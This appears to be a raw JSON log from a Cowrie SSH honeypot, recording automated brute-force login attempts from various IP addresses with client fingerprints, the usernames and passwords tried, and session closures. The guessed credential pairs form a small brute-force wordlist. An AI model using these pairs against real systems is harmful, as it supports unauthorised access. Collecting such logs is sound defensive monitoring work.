"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:54:36.644014Z","src_ip":"87.226.190.225","session":"e5885e219434","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asu","message":"login attempt [root/asu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:54:37.299854Z","src_ip":"87.226.190.225","session":"e5885e219434","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:54:38.462926Z","src_ip":"87.226.190.225","session":"e5885e219434","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":73.75156044960022,"message":"Connection lost after 73 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:54:52.417358Z","src_ip":"79.139.59.21","session":"b28951399d57","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"36.91.81.195","src_port":37938,"dst_ip":"159.203.135.109","dst_port":22,"session":"0eabb48f80c3","protocol":"ssh","message":"New connection: 36.91.81.195:37938 (159.203.135.109:22) [session: 0eabb48f80c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:54:56.184613Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:54:56.190493Z","src_ip":"36.91.81.195","session":"0eabb48f80c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:54:56.481325Z","src_ip":"36.91.81.195","session":"0eabb48f80c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":54130,"dst_ip":"10.17.0.5","dst_port":22,"session":"7285947a5f7e","protocol":"ssh","message":"New connection: 109.172.54.111:54130 (10.17.0.5:22) [session: 7285947a5f7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:54:57.665446Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:54:57.670339Z","src_ip":"109.172.54.111","session":"7285947a5f7e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd","password":"Voidsetdownload.so","message":"login attempt [systemd/Voidsetdownload.so] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:54:57.676323Z","src_ip":"36.91.81.195","session":"0eabb48f80c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:54:57.768235Z","src_ip":"109.172.54.111","session":"7285947a5f7e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"220690","message":"login attempt [root/220690] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:54:58.064984Z","src_ip":"109.172.54.111","session":"7285947a5f7e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:54:58.969436Z","src_ip":"36.91.81.195","session":"0eabb48f80c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:54:59.164101Z","src_ip":"109.172.54.111","session":"7285947a5f7e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":42670,"dst_ip":"159.203.135.109","dst_port":22,"session":"2cc55d7a9a6b","protocol":"ssh","message":"New connection: 77.94.47.83:42670 (159.203.135.109:22) [session: 2cc55d7a9a6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:55:27.851399Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:55:27.855821Z","src_ip":"77.94.47.83","session":"2cc55d7a9a6b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:55:27.967729Z","src_ip":"77.94.47.83","session":"2cc55d7a9a6b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"den4ik","message":"login attempt [root/den4ik] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:55:28.303036Z","src_ip":"77.94.47.83","session":"2cc55d7a9a6b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:55:29.415445Z","src_ip":"77.94.47.83","session":"2cc55d7a9a6b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"4.227.177.11","src_port":53232,"dst_ip":"10.17.0.5","dst_port":22,"session":"b3e7f5deaca7","protocol":"ssh","message":"New connection: 4.227.177.11:53232 (10.17.0.5:22) [session: b3e7f5deaca7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:55:42.245368Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:55:42.253078Z","src_ip":"4.227.177.11","session":"b3e7f5deaca7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:55:42.262931Z","src_ip":"4.227.177.11","session":"b3e7f5deaca7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"fjbdfdjkdsfs541544AA@@","message":"login attempt [ubuntu/fjbdfdjkdsfs541544AA@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:55:42.338654Z","src_ip":"4.227.177.11","session":"b3e7f5deaca7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:55:43.386422Z","src_ip":"4.227.177.11","session":"b3e7f5deaca7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.226.190.225","src_port":41260,"dst_ip":"10.17.0.5","dst_port":22,"session":"836c0e5f209d","protocol":"ssh","message":"New connection: 87.226.190.225:41260 (10.17.0.5:22) [session: 836c0e5f209d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:55:56.356869Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:55:56.362024Z","src_ip":"87.226.190.225","session":"836c0e5f209d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:55:56.520284Z","src_ip":"87.226.190.225","session":"836c0e5f209d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tv","password":"tv","message":"login attempt [tv/tv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:55:57.191739Z","src_ip":"87.226.190.225","session":"836c0e5f209d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:55:58.353150Z","src_ip":"87.226.190.225","session":"836c0e5f209d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":41930,"dst_ip":"10.17.0.5","dst_port":22,"session":"e9597d31fdf7","protocol":"ssh","message":"New connection: 147.45.197.250:41930 (10.17.0.5:22) [session: e9597d31fdf7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:56:07.147084Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:56:07.153229Z","src_ip":"147.45.197.250","session":"e9597d31fdf7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:56:07.247519Z","src_ip":"147.45.197.250","session":"e9597d31fdf7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"gfhfpbn","message":"login attempt [root/gfhfpbn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:56:07.518930Z","src_ip":"147.45.197.250","session":"e9597d31fdf7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:56:08.610548Z","src_ip":"147.45.197.250","session":"e9597d31fdf7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":38458,"dst_ip":"159.203.135.109","dst_port":22,"session":"47c3efab9885","protocol":"ssh","message":"New connection: 103.15.222.183:38458 (159.203.135.109:22) [session: 47c3efab9885]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:56:19.860862Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:56:19.866381Z","src_ip":"103.15.222.183","session":"47c3efab9885","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:56:20.107613Z","src_ip":"103.15.222.183","session":"47c3efab9885","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:56:21.103042Z","src_ip":"103.15.222.183","session":"47c3efab9885","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:56:22.346353Z","src_ip":"103.15.222.183","session":"47c3efab9885","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.91.81.195","src_port":38740,"dst_ip":"159.203.135.109","dst_port":22,"session":"7b9cb45f5e8f","protocol":"ssh","message":"New connection: 36.91.81.195:38740 (159.203.135.109:22) [session: 7b9cb45f5e8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:56:26.340451Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:56:26.347728Z","src_ip":"36.91.81.195","session":"7b9cb45f5e8f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:56:26.612662Z","src_ip":"36.91.81.195","session":"7b9cb45f5e8f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sammy","password":"123456","message":"login attempt [sammy/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:56:27.704211Z","src_ip":"36.91.81.195","session":"7b9cb45f5e8f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:56:28.971873Z","src_ip":"36.91.81.195","session":"7b9cb45f5e8f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":36010,"dst_ip":"159.203.135.109","dst_port":22,"session":"db311c6a9bb5","protocol":"ssh","message":"New connection: 46.19.67.181:36010 (159.203.135.109:22) [session: db311c6a9bb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:56:44.418618Z"}
